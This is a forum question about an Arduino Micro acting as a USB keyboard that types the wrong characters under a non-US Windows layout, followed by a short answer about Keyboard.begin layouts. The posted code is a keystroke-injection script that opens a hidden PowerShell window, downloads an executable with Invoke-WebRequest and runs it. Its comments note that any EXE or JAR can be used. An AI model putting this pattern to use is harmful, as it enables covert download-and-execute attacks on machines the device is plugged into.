0

I want to use my Arduino Micro as HID. I'm using the libary called Keyboard.h. If i run my script and I let the script type letters like "z" or "y" or any special letters, it types completly different letters. Is this because of my Keyboard layout on my Windows machine and if yes how can i fix it. Here is my code:

#include <Keyboard.h> 
/*
* Developer @root_haxor !
*/

// Init function
void setup()
{
 // Begining the stream
 Keyboard.begin();

 // Waiting 500ms for init
 delay(500);

 // You can remove this Delay line in the beginning (I just rather having it just in case)
 delay(6000);

 // open the Run
 Keyboard.press(KEY_LEFT_GUI);
 Keyboard.press(114);
 Keyboard.releaseAll();

 // Change this value depending on the computer you are using ( i mean slow or not )
 delay(100);

 Keyboard.print("powershell -windowstyle hidden");

 typeKey(KEY_RETURN);

 // the shell usually takes a few  seconds to fully run so i put a delay just in case .
 delay(1000);

 // I just wanted to note that the file can be an EXE or JAR file doesn't really matter.
 // in the destination if you put the fileName only, the file will be saved under C:\Users\LoggedInUser
 Keyboard.print("$source = \"https://www.7-zip.org/a/7z1900-x64.exe\"; $destination = \"7zip.exe\"; Invoke-WebRequest $source -OutFile $destination;");

 typeKey(KEY_RETURN);

 delay(5000);

 Keyboard.print("start-process 7zip.exe");

 typeKey(KEY_RETURN);

 delay(100);

 Keyboard.print("exit");

 typeKey(KEY_RETURN);
}

void typeKey(int key)
{
 Keyboard.press(key);
 delay(50);
 Keyboard.release(key);
}

// Unused
void loop() {}

Thanks for help!

Timo 42
  • 7
  • 3

1 Answers1

0

https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardbegin/

if it says:

my_code:8:18: error: 'KeyboardLayout_de_DE' was not declared in this scope
   Keyboard.begin(KeyboardLayout_de_DE);

'KeyboardLayout_de_DE' was not declared in this scope

update to 1.0.3

kai
  • 16